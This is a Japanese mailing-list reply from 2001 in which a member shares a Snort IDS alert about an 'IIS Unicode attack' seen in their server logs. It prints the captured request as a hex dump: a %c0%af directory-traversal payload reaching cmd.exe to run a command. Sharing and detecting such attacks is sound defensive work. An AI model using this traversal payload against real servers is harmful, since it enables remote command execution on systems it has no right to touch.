[connect24h:02442] Re: web server

[DANNA <danna@xxxxxxxxxxx>]

ダンナ＠サポセンです。

[connect24h:02426] syunさん
>今日ログをチェックしていたら、次のような楽しい記録がありました。
>[Sun Apr 08 05:33:26 2001] [error] [client 207.175.XXX.XXX] 

ボクのところにも以下のように来てました。sourceは同じみたいです。

IDSはSNORT-1.7にしかＰさんのUNICODEパッチを当てたものを使用して
います。

# なかなか調子良いです＞しかＰさん

2001-04-08 16:19:30 spp_http_decode: IIS Unicode attack detected
000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25   c0%af..%c0%af..%
020 : 63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25   c0%af..%c0%af..%
030 : 63 30 25 61 66 2E 2E 25 63 30 25 61 66 2E 2E 25   c0%af..%c0%af..%
040 : 63 30 25 61 66 2E 2E 25 63 30 25 61 66 2F 77 69   c0%af..%c0%af/wi
050 : 6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F 63 6D 64   nnt/system32/cmd
060 : 2E 65 78 65 3F 2F 63 25 32 30 64 69 72 20 48 54   .exe?/c%20dir HT
070 : 54 50 2F 31 2E 30 0D 0A 0D 0A 0D 0A               TP/1.0......


+---------------------------------------+
+    DANNA @ SAPOSEN
+  e-mail : danna@xxxxxxxxxxx
+  web site : http://www.hawkeye.ac/micky
+---------------------------------------+


------------------------------------------------------------------------
　　　　◆桜も良いけど爽やか季節♪　〜お出かけどこ行く？！
 http://www.infoseek.co.jp/Playspot?pg=playspot_top.html&svx=971122